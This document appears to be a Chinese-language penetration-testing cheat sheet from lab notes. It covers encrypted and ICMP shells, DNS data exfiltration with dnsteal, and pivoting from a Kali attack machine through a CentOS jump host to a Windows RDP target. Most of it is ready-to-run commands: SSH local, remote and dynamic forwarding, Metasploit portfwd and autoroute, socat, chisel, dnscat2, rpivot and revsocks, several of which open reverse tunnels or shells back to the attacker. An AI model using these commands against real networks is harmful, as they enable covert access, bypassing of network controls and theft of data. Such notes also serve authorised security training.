加密shell
如ssh、socat, dnscat, cryptcat等,client连上Server后可以建立加密通信,Server能在client上执行命令、上传下载文件等。tunnelshell
可指定多种隧道、协议、端口:
ICMP隧道
// 攻击器和客户机都需要下载安装tar xvfz tunnelshell_2.3.tgzmake// clientsudo ./tunneld -t icmp -m echo-reply,echo// serversudo ./tunnel -t icmp -m echo-reply,echo 192.168.240.147



泄露数据
dnsteal
// servergit clone https://github.com/m57/dnstealcd dnsteal/python dnsteal.py 192.168.240.128 -z


流量转发
为原本不连通的机器、或被拦截的端口之间搭建桥梁,这种情况常涉及3台机器。这个就需要Client和Server建立通信后,还要配上流量转发功能。 举例: kali与win10网络不通,kali想借助centos为跳板访问win10的3389端口,以远程桌面访问: kali: 192.168.128.129 (攻击机器/本地机器) centos: 192.168.128.130, 192.168.1.132 (跳板机/SSH隧道机器) win10: 192.168.1.131 (目标机器)端口转发
SSH隧道-本地转发
本地端口转发是kali本机的ssh客户端起监听端口,并告诉跳板机centos上的ssh服务要转发流量。因此本地端口转发是在攻击机器上执行命令,监听端口启动在本机上,需要知道跳板机的账户密码。
ssh -L local-port:target-host:target-port -N tunnel-host注:target-host是相对tunnel-host而言的,因为tunnel-host负责转发。比如ssh -L 5900:localhost:5900 host3, localhost就是host3自己:// 在本地机器(kali)执行ssh -L 7000:192.168.1.131:3389 -fN user@192.168.128.130// 如果本地机器是Windows,没有ssh的话可以使用plink.exeplink.exe -L 7000:192.168.1.131:3389 user@192.168.128.130


SSH隧道-远程转发
远程转发是相对于上面的本地转发而言的。如果此时kali没法ssh登录centos,也就没法告诉centos的ssh服务转发流量。但反过来centos可以ssh登录kali,则可指定远程机器kali启动监听端口,并告诉kali我会转发流量。因此,远程转发是在跳板机上执行命令,监听端口启动在远程攻击机器上,需要知道攻击机的账户密码。
ssh -R remote-port:target-host:target-port -N remotehost// 在跳板机(centos)上执行ssh -R 7000:192.168.1.131:3389 -N kali@192.168.128.129


MSF portfwd
// 获取跳板机centos上的meterpreter shellmeterpreter> portfwd add -l 33489 -r 192.168.1.131 -p 3389// kalirdesktop localhost:33489

socat
// centos上执行,跳板机起监听端口,转发流量socat TCP-LISTEN:7000,fork,reuseaddr tcp:192.168.1.131:3389 &


chisel
// kali,服务端sudo apt install chiselchisel server -p 8000 --reverse// centos,客户端git clone https://github.com/jpillora/chisel.gitcd chisel/go build -ldflags="-s -w"./chisel client 192.168.128.129:8000 R:5000:192.168.1.131:3389


dnscat2
DNS隧道工具dnscat2也提供了端口转发的功能
// kalisudo apt install dnscat2dnscat2-server// centosgit clone https://github.com/iagox86/dnscat2.gitcd dnscat2/cd client/make./dnscat --dns=server=192.168.128.129,port=53// dnscat client连接上kali,在kali上操作centos上shell设置端口转发策略sessionsession -i 1listen 127.0.0.1:8888 192.168.1.131:3389// kalirdesktop localhost:8888

sshuttle
配置转发规则,对于访问某个网段或IP的TCP连接,转发到某个ssh服务上 没有使用成功。。。
// 在kali上执行sudo apt install sshuttlesshuttle -l 7000 -r user@192.168.128.130 192.168.1.0/24
内网穿透
上面的端口转发只能使得Attacker机器访问目标机器的固定端口;如果想访问跳板机所能访问到的任一内网机器,则需要在跳板机上搭建代理服务器,并在本机绑定某个端口,任何通过该端口的流量都通过本机与代理服务器之间的连接转发。SSH隧道-动态转发
ssh -D local-port tunnel-host -N// 在kali机器上执行,会在kali上监听7000端口,发到这个端口的流量都转发给192.168.128.130ssh -D 7000 -fN user@192.168.128.130// 如果本地机器是Windows,没有ssh的话可以使用plink.exeplink.exe -D 7000 user@192.168.128.1301. 客户端支持设置代理curl -x socks5://localhost:7000 http://www.example.com2. 客户端不支持设置代理,则使用proxychains工具sudo vim /etc/proxychains.conf[ProxyList]# add proxy here ...# meanwile# defaults set to "tor"socks5 127.0.0.1 7000proxychains rdesktop 192.168.1.1313. 不仅能访问192.168.1.131,还能访问192.168.1.0/24网段其他机器proxychains ssh user@192.168.1.132
MSF autoroute+socks_proxy
对于MSF内部的模块比如portscan,如果要想访问子网192.168.240.0,需添加一条Pivote机器到网段192.168.100.0的路由。
msf > use post/multi/manage/autoroutemsf post(autoroute) > set session 1msf post(autoroute) > run
msf6 auxiliary(scanner/portscan/tcp) > use auxiliary/server/socks_proxymsf6 auxiliary(server/socks_proxy) > run[*] Auxiliary module running as background job 0.

chisel
// kalichisel server -p 8000 --reverse// centos./chisel client 192.168.128.129:8000 R:socks// kali配置socks5代理 127.0.0.1:1080proxychains rdesktop 192.168.1.131
rpivot
// kaligit clone https://github.com/klsecservices/rpivot.gitpython server.py --server-port 9999 --server-ip 192.168.128.129 --proxy-ip 127.0.0.1 --proxy-port 1080// centosgit clone https://github.com/klsecservices/rpivot.gitpython client.py --server-ip 192.168.128.129 --server-port 9999// kali配置socks4代理 127.0.0.1:1080proxychains rdesktop 192.168.1.131
revsocks
windows版chisel
// 本地机器上执行,类比例子中的kalirevsocks_windows_amd64.exe -listen :8443 -socks 0.0.0.0:1080 -pass test// 跳板机上执行,类比例子中的centos./revsocks_linux_amd64 -connect 192.168.128.129:8443 -pass test// 本地机器配置socks5代理

